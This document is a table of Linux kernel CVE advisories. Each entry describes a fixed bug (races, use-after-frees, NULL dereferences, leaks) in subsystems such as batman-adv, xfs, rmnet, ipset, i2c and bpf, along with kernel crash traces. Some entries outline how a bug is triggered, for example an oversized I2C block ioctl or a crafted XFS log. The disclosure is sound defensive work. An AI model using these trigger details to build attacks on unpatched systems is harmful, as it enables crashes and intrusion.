| CVE-2026-64093 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: tp_meter: directly shut down timer on cleanup batadv_tp_sender_cleanup() was calling timer_delete_sync() followed by timer_delete() to guard against the timer handler re-arming itself between the two calls. This double-deletion hack relied on the sending status being set to 0 to suppress re-arming. Replace both calls with a single timer_shutdown_sync(). This function both waits for any running timer callback to complete (like timer_delete_sync()) and permanently disarms the timer so it cannot be re-armed afterwards, making re-arming prevention unconditional and self-documenting. The re-arming property is also required because otherwise: 1. context 0 (batadv_tp_recv_ack()) checks in batadv_tp_reset_sender_timer() if sending is still 1 -> it is 2. context 1 changes in batadv_tp_sender_shutdown() sending to 0 and in this process forces the kthread to stop timer in batadv_tp_sender_cleanup() 3. context 0 continues in batadv_tp_reset_sender_timer() and rearms the timer -> but the reference for it is already gone |
| CVE-2026-64094 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: avoid NULL-ptr deref for claim via dropped interface Without rtnl_lock held, a hardif might be retrieved as primary interface of a meshif, but then (while operating on this interface) getting decoupled from the mesh interface. In this case, the meshif still exists but the pointer from the primary hardif to the meshif is set to NULL. The mesh_iface must be checked first to be non-NULL before continuing to send an ARP request using meshif. |
| CVE-2026-64095 | In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: avoid double decrement of bla.num_requests The bla.num_requests is increased when no request_sent was in progress. And it is decremented in various places (announcement was received, backbone is purged, periodic work). But the check if the request_sent is actually set to a specific state and the atomic_dec/_inc are not safe because they are not atomic (TOCTOU) and multiple such code portions can run concurrently. At the same time, it is necessary to modify request_sent (state) and bla.num_requests atomically. Otherwise batadv_bla_send_request() might set request_sent to 1 and is interrupted. batadv_handle_announce() can then set request_sent back to 0 and decrement num_requests before batadv_bla_send_request() incremented it. The two operations must therefore be locked. And since state (request_sent) and wait_periods are only accessed inside this lock, they can be converted to simpler datatypes. And to avoid that the bla.num_requests is touched by a parallel running context with a valid backbone_gw reference after batadv_bla_purge_backbone_gw() ran, a third state "stopped" is required to correctly signal that a backbone_gw is in the state of being cleaned up. |
| CVE-2026-64099 | In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Fix use-after-free of CPU job query arrays on error path The CPU job ioctl's fail label calls kvfree() on cpu_job's timestamp and performance query arrays after v3d_job_cleanup(), which drops the job's last reference and frees cpu_job. Reading cpu_job at that point is a use-after-free. Also, on the early v3d_job_init() failure path, it is a NULL dereference, since v3d_job_deallocate() zeroes the local pointer. In the success path, the arrays are released from the scheduler's .free_job callback, but on the error path, they are freed manually, as the job was never pushed to the scheduler. While the success path deals with this correctly, the fail path doesn't. On top of that, the manual kvfree() calls only free the array storage; they don't drm_syncobj_put() the per-query syncobjs that v3d_timestamp_query_info_free() and v3d_performance_query_info_free() release on the success path. So the same fail path that triggers the use-after-free also leaks one syncobj reference per query. Unify the CPU job teardown into the CPU job's kref destructor, mirroring v3d_render_job_free(). The scheduler's .free_job slot reverts to the generic v3d_sched_job_free() and the fail label drops the manual kvfree() calls, leaving a single teardown path that is reached from both the scheduler and the ioctl error path. That removes the use-after-free, the NULL dereference, and the syncobj leak by construction. |
| CVE-2026-64112 | In the Linux kernel, the following vulnerability has been resolved: rbd: eliminate a race in lock_dwork draining on unmap Given how rbd_lock_add_request() and rbd_img_exclusive_lock() are written, lock_dwork may be (re)queued more than it's actually needed: for example in case a new I/O request comes in while we are in the middle of rbd_acquire_lock() on behalf of another I/O request. This is expected and with rbd_release_lock() preemptively canceling lock_dwork is benign under normal operation. A more problematic example is maybe_kick_acquire(): if (have_requests || delayed_work_pending(&rbd_dev->lock_dwork)) { dout("%s rbd_dev %p kicking lock_dwork\n", __func__, rbd_dev); mod_delayed_work(rbd_dev->task_wq, &rbd_dev->lock_dwork, 0); } It's not unrealistic for lock_dwork to get canceled right after delayed_work_pending() returns true and for mod_delayed_work() to requeue it right there anyway. This is a classic TOCTOU race. When it comes to unmapping the image, there is an implicit assumption of no self-initiated exclusive lock activity past the point of return from rbd_dev_image_unlock() which unlocks the lock if it happens to be held. This unlock is assumed to be final and lock_dwork (as well as all other exclusive lock tasks, really) isn't expected to get queued again. However, lock_dwork is canceled only in cancel_tasks_sync() (i.e. later in the unmap sequence) and on top of that the cancellation can get in effect nullified by maybe_kick_acquire(). This may result in rbd_acquire_lock() executing after rbd_dev_device_release() and rbd_dev_image_release() run and free and/or reset a bunch of things. One of the possible failure modes then is a violated rbd_assert(rbd_image_format_valid(rbd_dev->image_format)); in rbd_dev_header_info() which is called via rbd_dev_refresh() from rbd_post_acquire_action(). Redo exclusive lock task draining to provide saner semantics and try to meet the assumptions around rbd_dev_image_unlock(). |
| CVE-2026-64117 | In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: capture fast-RX rate before mesh reuses skb->cb ieee80211_invoke_fast_rx() reads RX status through IEEE80211_SKB_RXCB(skb), which aliases the same skb->cb storage that ieee80211_rx_mesh_data() reuses as IEEE80211_TX_INFO. In the unicast forward path, mesh_data does: info = IEEE80211_SKB_CB(fwd_skb); memset(info, 0, sizeof(*info)); on the same skb the caller still names via rx->skb, then either queues the skb for TX (success) or kfree_skb()'s it (no-route) before returning RX_QUEUED. The caller's RX_QUEUED arm then calls sta_stats_encode_rate(status) on memory that is either zeroed (success path) or freed (no-route path). The latter is KASAN slab-use-after-free in ieee80211_prepare_and_rx_handle. Fix by encoding the rate from status before invoking ieee80211_rx_mesh_data(), so the RX_QUEUED arm consumes a value captured while status was still backed by valid memory. |
| CVE-2026-64123 | In the Linux kernel, the following vulnerability has been resolved: net: hsr: defer node table free until after RCU readers HSR node-list and node-status generic-netlink operations run under rcu_read_lock(). They walk hsr->node_db through hsr_get_next_node() and hsr_get_node_data(), but RTM_DELLINK teardown removes the same node table with plain list_del() and frees each node immediately. That lets a generic-netlink reader hold a struct hsr_node pointer across hsr_dellink(). In a KASAN build, widening the reader window after hsr_get_next_node() obtains the node reproduces a slab-use-after-free when the reader copies node->macaddress_A; the freeing stack is hsr_del_nodes() from hsr_dellink(). Use list_del_rcu() and defer the free through the existing hsr_free_node_rcu() callback. This matches the lifetime rule used by the HSR prune paths, which already delete nodes with list_del_rcu() and call_rcu(). |
| CVE-2026-64131 | In the Linux kernel, the following vulnerability has been resolved: mm/memory: fix spurious warning when unmapping device-private/exclusive pages Device private and exclusive entries are only supported for anonymous folios. This condition is tested in __migrate_device_pages() and make_device_exclusive() using folio_test_anon(). However the unmap path tests this assumption using vma_is_anonymous(). This is wrong because whilst anonymous VMAs can only contain folios where folio_test_anon() is true the opposite relation does not hold. A folio for which folio_test_anon() is true does not imply vma_is_anonymous() is true. Such a condition can occur if for example a folio is part of a private filebacked mapping. In this case vma_is_anonymous() is false as the mapping is filebacked, but folio_test_anon() may be true, thus permitting devices to migrate the folio to device private memory. This can lead to the following spurious warnings during process teardown: [ 772.737706] ------------[ cut here ]------------ [ 772.739201] WARNING: mm/memory.c:1754 at unmap_page_range.cold+0x26/0x18a, CPU#17: hmm-tests/2041 [ 772.742050] Modules linked in: test_hmm nvidia_uvm(O) nvidia(O) [ 772.743959] CPU: 17 UID: 0 PID: 2041 Comm: hmm-tests Tainted: G W O 7.0.0+ #387 PREEMPT(full) [ 772.747104] Tainted: [W]=WARN, [O]=OOT_MODULE [ 772.748509] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 772.752117] RIP: 0010:unmap_page_range.cold+0x26/0x18a [ 772.753780] Code: 7e fe ff ff 48 89 4c 24 78 4c 89 44 24 38 e8 f2 ff b1 00 48 8b 4c 24 78 4c 8b 44 24 38 48 8b 44 24 18 48 83 78 48 00 74 04 90 <0f> 0b 90 48 89 ca b8 ff ff 37 00 48 c1 ea 03 48 c1 e0 2a 80 3c 02 [ 772.759602] RSP: 0018:ffff888112607550 EFLAGS: 00010286 [ 772.761310] RAX: ffff88811bbf4dc0 RBX: dffffc0000000000 RCX: ffffea03e9bfffd8 [ 772.763583] RDX: 1ffff1102377e9c1 RSI: 0000000000000008 RDI: ffff88811bbf4e08 [ 772.765914] RBP: 0000000000000006 R08: ffff8881059f7448 R09: ffffed10224c0e68 [ 772.768184] R10: ffff888112607347 R11: 0000000000000001 R12: 0000000000000001 [ 772.770461] R13: ffffea03e9bfffc0 R14: ffff888112607908 R15: ffffea03e9bfffc0 [ 772.772782] FS: 00007f327caa2780(0000) GS:ffff888427b7d000(0000) knlGS:0000000000000000 [ 772.775328] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 772.777187] CR2: 00007f327ca89000 CR3: 00000001994d5000 CR4: 00000000000006f0 [ 772.779135] Call Trace: [ 772.779792] <TASK> [ 772.780317] ? dmirror_interval_invalidate+0x1a3/0x290 [test_hmm] [ 772.781873] ? vm_normal_page_pud+0x2b0/0x2b0 [ 772.782992] ? __rwlock_init+0x150/0x150 [ 772.784006] ? lock_release+0x216/0x2b0 [ 772.785008] ? __mmu_notifier_invalidate_range_start+0x505/0x6e0 [ 772.786522] ? lock_release+0x216/0x2b0 [ 772.787498] ? unmap_single_vma+0xb6/0x210 [ 772.788573] unmap_vmas+0x27d/0x520 [ 772.789506] ? unmap_single_vma+0x210/0x210 [ 772.790607] ? mas_update_gap.part.0+0x620/0x620 [ 772.791834] unmap_region+0x19e/0x350 [ 772.792769] ? remove_vma+0x130/0x130 [ 772.793684] ? mas_alloc_nodes+0x1f2/0x300 [ 772.794730] vms_complete_munmap_vmas+0x8c1/0xe20 [ 772.795926] ? unmap_region+0x350/0x350 [ 772.796917] do_vmi_align_munmap+0x36a/0x4e0 [ 772.798018] ? lock_release+0x216/0x2b0 [ 772.799024] ? vma_shrink+0x620/0x620 [ 772.799983] do_vmi_munmap+0x150/0x2c0 [ 772.800939] __vm_munmap+0x161/0x2c0 [ 772.801872] ? expand_downwards+0xd60/0xd60 [ 772.802948] ? clockevents_program_event+0x1ef/0x540 [ 772.804217] ? lock_release+0x216/0x2b0 [ 772.805158] __x64_sys_munmap+0x59/0x80 [ 772.805776] do_syscall_64+0xfc/0x670 [ 772.806336] ? irqentry_exit+0xda/0x580 [ 772.806976] entry_SYSCALL_64_after_hwframe+0x4b/0x53 [ 772.807772] RIP: 0033:0x7f327cbb2717 [ 772.808323] Code: 73 01 c3 48 8b 0d f9 76 0d 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 b8 0b 00 00 00 0f 05 <48> 3d 01 f0 ff ---truncated--- |
| CVE-2026-64146 | In the Linux kernel, the following vulnerability has been resolved: erofs: fix metabuf leak in inode xattr initialization commit bb88e8da0025 ("erofs: use meta buffers for xattr operations") converted xattr operations to use on-stack erofs_buf instances. erofs_init_inode_xattrs() uses such a metabuf while reading the inline xattr header and shared xattr id array. Some error paths after erofs_read_metabuf() leave through out_unlock without dropping the metabuf, so the folio reference can leak. Consolidate the cleanup at out_unlock. erofs_put_metabuf() is a no-op if no folio has been acquired, and this keeps all paths after taking EROFS_I_BL_XATTR_BIT covered by a single cleanup site. |
| CVE-2026-64154 | In the Linux kernel, the following vulnerability has been resolved: drm/msm/adreno: Fix a reference leak in a6xx_gpu_init() In a6xx_gpu_init(), node is obtained via of_parse_phandle(). While there was a manual of_node_put() at the end of the common path, several early error returns would bypass this call, resulting in a reference leak. Fix this by using the __free(device_node) cleanup handler to release the reference when the variable goes out of scope. Patchwork: https://patchwork.freedesktop.org/patch/700661/ |
| CVE-2026-64158 | In the Linux kernel, the following vulnerability has been resolved: netfs: Fix write streaming disablement if fd open O_RDWR In netfs_perform_write(), "write streaming" (the caching of dirty data in dirty but !uptodate folios) is performed to avoid the need to read data that is just going to get immediately overwritten. However, this is/will be disabled in three circumstances: if the fd is open O_RDWR, if fscache is in use (as we need to round out the blocks for DIO) or if content encryption is enabled (again for rounding out purposes). The idea behind disabling it if the fd is open O_RDWR is that we'd need to flush the write-streaming page before we could read the data, particularly through mmap. But netfs now fills in the gaps if ->read_folio() is called on the page, so that is unnecessary. Further, this doesn't actually work if a separate fd is open for reading. Fix this by removing the check for O_RDWR, thereby allowing streaming writes even when we might read. This caused a number of problems with the generic/522 xfstest, but those are now fixed. |
| CVE-2026-64160 | In the Linux kernel, the following vulnerability has been resolved: netfs: Fix potential for tearing in ->remote_i_size and ->zero_point Fix potential tearing in using ->remote_i_size and ->zero_point by copying i_size_read() and i_size_write() and using the same seqcount as for i_size. We need to make sure that netfslib and the filesystems that use it always hold i_lock whilst updating any of the sizes to prevent i_size_seqcount from getting corrupted. |
| CVE-2026-64176 | In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix driver-set TX rates on old devices On old devices such as 7265D, rates are still encoded in version 1 format, which doesn't use the CCK/OFDM rate index (0-3/0-7) but rather their PLCP value (e.g. 10 for 1 Mbps CCK rate.) While introducing v3 rates, I changed the driver from internally handling v1 rates and converting to v2, to internally handling v3 and converting to v1 or v2 according to the firmware. I accordingly changed the code in iwl_mvm_mac80211_idx_to_hwrate() to no longer have different values for different APIs. This was correct. However, I later reverted this part of the change, because it was reported that I had broken beacon rates, causing a FW assert/crash. This caused TX_CMD rates to be set incorrectly, potentially causing a warning when reported back from the device as having been used. Fix this (hopefully correctly now) by handling beacon rates in the TX_CMD that's embedded in the beacon template command separately. Restore iwl_mvm_mac80211_idx_to_hwrate() to return only the rate index, not PLCP value, fixing the real TX_CMD. |
| CVE-2026-64187 | In the Linux kernel, the following vulnerability has been resolved: xfs: fail recovery on a committed log item with no regions If the first op of a transaction is a bare transaction header (len == sizeof(struct xfs_trans_header)), xlog_recover_add_to_trans() adds an item but no region, leaving it on r_itemq with ri_cnt == 0 and ri_buf == NULL. The header can be split across op records, so later ops may still add regions; the item is only invalid if the transaction commits with none. The runtime commit path never emits such a transaction, so this only happens on a crafted log. It came from an AI-assisted code audit of the recovery parser. xlog_recover_reorder_trans() calls ITEM_TYPE() on the item, which reads *(unsigned short *)item->ri_buf[0].iov_base and faults on the NULL ri_buf. Reject it there, before the commit handlers that also read ri_buf[0]. KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:xlog_recover_reorder_trans (fs/xfs/xfs_log_recover.c:1836) xlog_recover_commit_trans (fs/xfs/xfs_log_recover.c:2043) xlog_recover_process_data (fs/xfs/xfs_log_recover.c:2501) xlog_do_recovery_pass (fs/xfs/xfs_log_recover.c:3244) xlog_recover (fs/xfs/xfs_log_recover.c:3493) xfs_log_mount (fs/xfs/xfs_log.c:618) xfs_mountfs (fs/xfs/xfs_mount.c:1034) xfs_fs_fill_super (fs/xfs/xfs_super.c:1938) vfs_get_tree (fs/super.c:1695) path_mount (fs/namespace.c:4161) __x64_sys_mount (fs/namespace.c:4367) |
| CVE-2026-64188 | In the Linux kernel, the following vulnerability has been resolved: net: qualcomm: rmnet: fix endpoint use-after-free in rmnet_dellink() rmnet_dellink() removes the endpoint from the hash table with hlist_del_init_rcu() and then immediately frees it with kfree(). However, RCU readers on the receive path (rmnet_rx_handler -> __rmnet_map_ingress_handler) may still hold a reference to the endpoint and dereference ep->egress_dev after the memory has been freed. The endpoint is a kmalloc-32 object, and the stale read at offset 8 corresponds to the egress_dev pointer. BUG: unable to handle page fault for address: ffffffffde942eef Oops: 0002 [#1] SMP NOPTI CPU: 1 UID: 0 PID: 137 Comm: poc_write Not tainted 7.0.0+ #4 PREEMPTLAZY RIP: 0010:rmnet_vnd_rx_fixup (rmnet_vnd.c:27) Call Trace: <TASK> __rmnet_map_ingress_handler (rmnet_handlers.c:48 rmnet_handlers.c:101) rmnet_rx_handler (rmnet_handlers.c:129 rmnet_handlers.c:235) __netif_receive_skb_core.constprop.0 (net/core/dev.c:6096) __netif_receive_skb_one_core (net/core/dev.c:6208) netif_receive_skb (net/core/dev.c:6467) tun_get_user (drivers/net/tun.c:1955) tun_chr_write_iter (drivers/net/tun.c:2003) vfs_write (fs/read_write.c:688) ksys_write (fs/read_write.c:740) </TASK> Add an rcu_head field to struct rmnet_endpoint and replace kfree() with kfree_rcu() so the endpoint memory remains valid through the RCU grace period. Also remove the rmnet_vnd_dellink() call and inline only the nr_rmnet_devs decrement, since rmnet_vnd_dellink() would set ep->egress_dev to NULL during the grace period, creating a data race with lockless readers. |
| CVE-2026-64189 | In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: fix race between dump and ip_set_list resize The release path of ip_set_dump_do() and ip_set_dump_done() read inst->ip_set_list via ip_set_ref_netlink(), a plain rcu_dereference_raw() of the array pointer. These run from netlink_recvmsg() without the nfnl mutex and without an RCU read-side critical section. A concurrent ip_set_create() can grow the array: it publishes the new array, calls synchronize_net() and then kvfree()s the old one. Since the dump paths read the array outside any RCU reader, synchronize_net() does not wait for them and the old array can be freed while they still index into it, causing a use-after-free. The dumped set itself stays pinned via set->ref_netlink, so only the array load needs protecting. Take rcu_read_lock() around it, matching ip_set_get_byname() and __ip_set_put_byindex(). BUG: KASAN: slab-use-after-free in ip_set_dump_do (net/netfilter/ipset/ip_set_core.c:1697) Read of size 8 at addr ffff88800b5c4018 by task exploit/150 Call Trace: ... kasan_report (mm/kasan/report.c:595) ip_set_dump_do (net/netfilter/ipset/ip_set_core.c:1697) netlink_dump (net/netlink/af_netlink.c:2325) netlink_recvmsg (net/netlink/af_netlink.c:1976) sock_recvmsg (net/socket.c:1159) __sys_recvfrom (net/socket.c:2315) ... Oops: general protection fault, probably for non-canonical address ... KASAN NOPTI KASAN: maybe wild-memory-access in range [0x02d6...d0-0x02d6...d7] RIP: 0010:ip_set_dump_do (net/netfilter/ipset/ip_set_core.c:1698) Kernel panic - not syncing: Fatal exception |
| CVE-2026-64190 | In the Linux kernel, the following vulnerability has been resolved: net: team: fix NULL pointer dereference in team_xmit during mode change __team_change_mode() clears team->ops with memset() before restoring safe dummy handlers via team_adjust_ops(). A concurrent team_xmit() running under RCU on another CPU can read team->ops.transmit during this window and call a NULL function pointer, crashing the kernel. The race requires a mode change (CAP_NET_ADMIN) concurrent with transmit on the team device. BUG: kernel NULL pointer dereference, address: 0000000000000000 Oops: 0010 [#1] SMP KASAN NOPTI RIP: 0010:0x0 Call Trace: team_xmit (drivers/net/team/team_core.c:1853) dev_hard_start_xmit (net/core/dev.c:3904) __dev_queue_xmit (net/core/dev.c:4871) packet_sendmsg (net/packet/af_packet.c:3109) __sys_sendto (net/socket.c:2265) The original code assumed that no ports means no traffic, so mode changes could freely memset()/memcpy() the ops. AF_PACKET with forced carrier breaks that assumption. Prevent the race instead of making it safe: replace memset()/memcpy() with per-field updates that never touch transmit or receive. Those two handlers are managed solely by team_adjust_ops(), which already installs dummies when tx_en_port_count == 0 (always true during mode change since no ports are present). WRITE_ONCE/READ_ONCE prevent store/load tearing on the handler pointers. synchronize_net() before exit_op() drains in-flight readers that may still reference old mode state from before port removal switched the handlers to dummies. |
| CVE-2026-64191 | In the Linux kernel, the following vulnerability has been resolved: i2c: stub: Reject I2C block transfers with invalid length The I2C_SMBUS_I2C_BLOCK_DATA case in stub_xfer() uses data->block[0] as the transfer length. The existing check only clamps it to avoid overrunning the chip->words[256] register array, but does not validate it against I2C_SMBUS_BLOCK_MAX (32), which is the limit of the union i2c_smbus_data.block buffer (34 bytes total). The driver is a development/test tool (CONFIG_I2C_STUB=m, not built by default) that must be loaded with a chip_addr= parameter. A local user with access to /dev/i2c-* can issue an I2C_SMBUS ioctl with I2C_SMBUS_I2C_BLOCK_DATA and data->block[0] > 32, causing stub_xfer() to read or write past the end of the union i2c_smbus_data.block buffer: BUG: KASAN: stack-out-of-bounds in stub_xfer (drivers/i2c/i2c-stub.c:223) Read of size 1 at addr ffff88800abcfd92 by task exploit/81 Call Trace: <TASK> stub_xfer (drivers/i2c/i2c-stub.c:223) __i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:593) i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:536) i2cdev_ioctl_smbus (drivers/i2c/i2c-dev.c:391) i2cdev_ioctl (drivers/i2c/i2c-dev.c:478) __x64_sys_ioctl (fs/ioctl.c:583) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) </TASK> The bug exists because i2c-stub implements .smbus_xfer directly, bypassing the I2C_SMBUS_BLOCK_MAX validation in i2c_smbus_xfer_emulated(). The I2C_SMBUS_BLOCK_DATA case in the same function correctly validates against I2C_SMBUS_BLOCK_MAX, but the I2C_SMBUS_I2C_BLOCK_DATA case does not. Fix by rejecting transfers with data->block[0] == 0 or data->block[0] > I2C_SMBUS_BLOCK_MAX with -EINVAL, consistent with both the I2C_SMBUS_BLOCK_DATA case in the same function and the I2C_SMBUS_I2C_BLOCK_DATA validation in i2c_smbus_xfer_emulated(). |
| CVE-2026-64192 | In the Linux kernel, the following vulnerability has been resolved: bpf: Reject BPF_MAP_TYPE_INODE_STORAGE creation if BPF LSM is uninitialized When CONFIG_BPF_LSM=y is set, BPF inode storage maps (BPF_MAP_TYPE_INODE_STORAGE) are compiled into the kernel. However, if the BPF LSM is not explicitly enabled at boot time (e.g. omitted from the "lsm=" boot parameter), lsm_prepare() is never executed for the BPF LSM. Consequently, the BPF inode security blob offset (bpf_lsm_blob_sizes.lbs_inode) is never initialized and remains at its default compiled size of 8 bytes instead of being updated to a valid offset past the reserved struct rcu_head (typically 16 bytes or more). When a privileged user creates and updates a BPF_MAP_TYPE_INODE_STORAGE map, bpf_inode() evaluates inode->i_security + 8. This erroneously aliases the struct rcu_head.func callback pointer at the beginning of the inode->i_security blob. During subsequent map element cleanup or inode destruction, writing NULL to owner_storage clears the queued RCU callback pointer. When rcu_do_batch() later executes the queued callback, it attempts an instruction fetch at address 0x0, triggering an immediate kernel panic. Fix this by introducing a global bpf_lsm_initialized boolean flag marked with __ro_after_init. Set this flag to true inside bpf_lsm_init() when the LSM framework successfully registers the BPF LSM. Gate map allocation in inode_storage_map_alloc() on this flag, returning -EOPNOTSUPP if the BPF LSM is in turn uninitialized. This fail-fast approach prevents userspace from allocating inode storage maps when the supporting BPF LSM infrastructure is absent, avoiding zombie map states. |
| CVE-2026-64205 | In the Linux kernel, the following vulnerability has been resolved: i2c: i801: fix hardware state machine corruption in error path A severe livelock and subsequent Hung Task panic were observed in the i2c-i801 driver during concurrent Fuzzing. The crash is caused by an unconditional hardware register cleanup in the error handling path of i801_access(). When i801_check_pre() fails (e.g., returning -EBUSY because the SMBus controller is actively used by BIOS/ACPI), the kernel does not actually acquire the hardware ownership. However, the code jumps to the 'out' label and executes: iowrite8(SMBHSTSTS_INUSE_STS | STATUS_FLAGS, SMBHSTSTS(priv)); This forcefully clears the INUSE_STS lock and resets the hardware status flags without owning the controller. Doing so interrupts ongoing BIOS/ACPI transactions and totally corrupts the SMBus hardware state machine. Consequently, all subsequent i801_access() calls fail at the pre-check stage, triggering an endless stream of "SMBus is busy, can't use it!" error logs. Over a slow serial console, this printk flood monopolizes the CPU (Console Livelock), starving other processes trying to acquire the mmap_lock down_read semaphore, ultimately triggering the hung task watchdog. Fix this by moving the 'out' label below the hardware register cleanup. If i801_check_pre() fails, we safely bypass the iowrite8() and only release the software locks (pm_runtime and mutex), strictly adhering to the rule of not releasing resources that were never acquired. |
| CVE-2026-64206 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: cancel pending_rx_work before taking conn->lock l2cap_conn_del() takes conn->lock and then calls cancel_work_sync() for pending_rx_work. process_pending_rx() takes the same mutex, so teardown can deadlock against the worker it is flushing. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the l2cap_conn_ready() -> queue_work(..., &conn->pending_rx_work) submit path, the l2cap_conn_del() -> cancel_work_sync(&conn->pending_rx_work) teardown path, and the process_pending_rx() -> mutex_lock(&conn->lock) worker edge. Lockdep WARNING: possible circular locking dependency detected process_pending_rx+0x21/0x2a [vuln_msv] l2cap_conn_del.constprop.0+0x3f/0x4e [vuln_msv] *** DEADLOCK *** Cancel pending_rx_work before taking conn->lock, matching the existing lock-before-drain ordering used for the two delayed works in the same teardown path. The pending_rx queue is still purged after the work has been cancelled and conn->lock has been acquired. |
| CVE-2026-64210 | In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: xsk: Fix unlocked writing to ICOSQ During napi poll, when the affinity changes and there's still XSK work to be done, we trigger an ICOSQ interrupt on the new CPU. However, this triggering on the ICOSQ is done unprotected. There are 2 such races: A) mlx5e_trigger_irq() is called while mlx5e_xsk_alloc_rx_mpwqe() is running from a different CPU due to affinity change. This can happen because IRQ triggering is done after napi_complete_done(). At this point the NAPI can be scheduled on a different CPU. Like this: CPU A (old affinity, NAPI tail) CPU B (new affinity, fresh NAPI) ------------------------------- -------------------------------- napi_complete_done() clears SCHED mlx5e_cq_arm(...) napi_schedule_prep() sets SCHED mlx5e_napi_poll() mlx5e_xsk_alloc_rx_mpwqe() mlx5e_icosq_sync_lock() // noop memcpy 640 B UMR body advance sq->pc by 10 mlx5e_trigger_irq(&c->icosq) wqe_info[pi] = {NOP, 1} mlx5e_post_nop() advances sq->pc B) mlx5e_trigger_irq() is called on the ICOSQ when mlx5e_trigger_napi_icosq() is running. The obvious fix would be to lock the ICOSQ. But ICOSQ has an optimized locking scheme that doesn't work for this scenario. Kick the async ICOSQ instead which is always locked. This issue was noticed in the wild with the following splat: netdevice: ge-0-0-1: Bad OP in ICOSQ CQE: 0xd WARNING: drivers/net/ethernet/mellanox/mlx5/core/en_rx.c:826 [...] [...] Call Trace: <IRQ> mlx5e_napi_poll+0x11d/0x7f0 [mlx5_core] __napi_poll+0x30/0x200 ? skb_defer_free_flush+0x9c/0xc0 net_rx_action+0x2fe/0x3f0 handle_softirqs+0xd8/0x340 __irq_exit_rcu+0xbc/0xe0 common_interrupt+0x85/0xa0 </IRQ> <TASK> asm_common_interrupt+0x26/0x40 [...] ---[ end trace 0000000000000000 ]--- mlx5_core 0000:08:00.0 ge-0-0-1: Error cqe on cqn 0x548, ci 0x2022, qn 0x8f4, opcode 0xd, syndrome 0x2, vendor syndrome 0x68 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000030: 00 00 00 00 01 00 68 02 01 00 08 f4 de 14 59 d2 WQE DUMP: WQ size 16384 WQ cur size 0, WQE index 0x1e14, len: 64 00000000: 00 00 00 01 d9 ed 80 02 00 00 00 01 d9 ed 90 02 00000010: 00 00 00 01 d9 ed a0 02 00 00 00 01 d9 ed b0 02 00000020: 00 00 00 01 d9 ed c0 02 00 00 00 01 d9 ed d0 02 00000030: 00 00 00 01 d9 ed e0 02 00 00 00 01 d9 ed f0 02 mlx5_core 0000:08:00.0 ge-0-0-1: Error cqe on cqn 0x548, ci 0x2023, qn 0x8f4, opcode 0xd, syndrome 0x5, vendor syndrome 0xf9 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000030: 00 00 00 00 01 00 f9 05 01 00 08 f4 de 15 cf d2 |
| CVE-2026-64212 | In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mld: don't dereference a pointer before NULL checking it In iwl_mld_remove_link, the link->fw_id is saved at the beginning of the function so we have it after we freed the link. But the link pointer can be NULL, and is not checked when the fw_id is stored. Fix it by simply freeing the link at the end of the function. fFixes: 0e66a39f4f0e ("wifi: iwlwifi: fix potential use after free in iwl_mld_remove_link()") |
| CVE-2026-64213 | In the Linux kernel, the following vulnerability has been resolved: hwmon: (lm90) Add lock protection to lm90_alert Sashiko reports: lm90_alert() executes in the smbus alert context and calls lm90_update_confreg() to disable the hardware alert line, without acquiring hwmon_lock. Concurrently, sysfs write operations (such as lm90_write_convrate) hold the hwmon_lock, temporarily modify data->config, and then restore it. If an alert interrupt occurs concurrently with a sysfs write, the sysfs path will overwrite the alert handler's modifications to data->config and the hardware register. This unintentionally re-enables the hardware alert line while the alarm is still active, causing an interrupt storm. Add the missing lock to lm90_alert() to solve the problem. |
| CVE-2026-64222 | In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: avoid double free of pool->stack on AQ init failure otx2_pool_aq_init() frees pool->stack when mailbox sync or retry allocation fails, but leaves the pointer unchanged. Later, otx2_sq_aura_pool_init() unwinds the partial setup through otx2_aura_pool_free(), which frees pool->stack again. The CN20K-specific cn20k_pool_aq_init() implementation has the same bug in its corresponding error path. Set pool->stack to NULL immediately after the local free so the shared cleanup path does not free the same stack again while cleaning up partially initialized pool state. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1-rc3. Runtime validation was not performed because reproducing this path requires OcteonTX2/CN20K hardware. |
| CVE-2026-64227 | In the Linux kernel, the following vulnerability has been resolved: ACPI: driver: Check ACPI_COMPANION() against NULL during probe Since every platform driver can be forced to match a device that doesn't match its list of device IDs because of device_match_driver_override(), platform drivers that rely on the existence of a device's ACPI companion object should verify its presence. Accordingly, add requisite ACPI_COMPANION() or ACPI_HANDLE() checks against NULL to 13 platform drivers handling core ACPI devices. Also change the value returned by the ACPI thermal zone driver when the device's ACPI companion is not present to -ENODEV for consistency with the other drivers. |
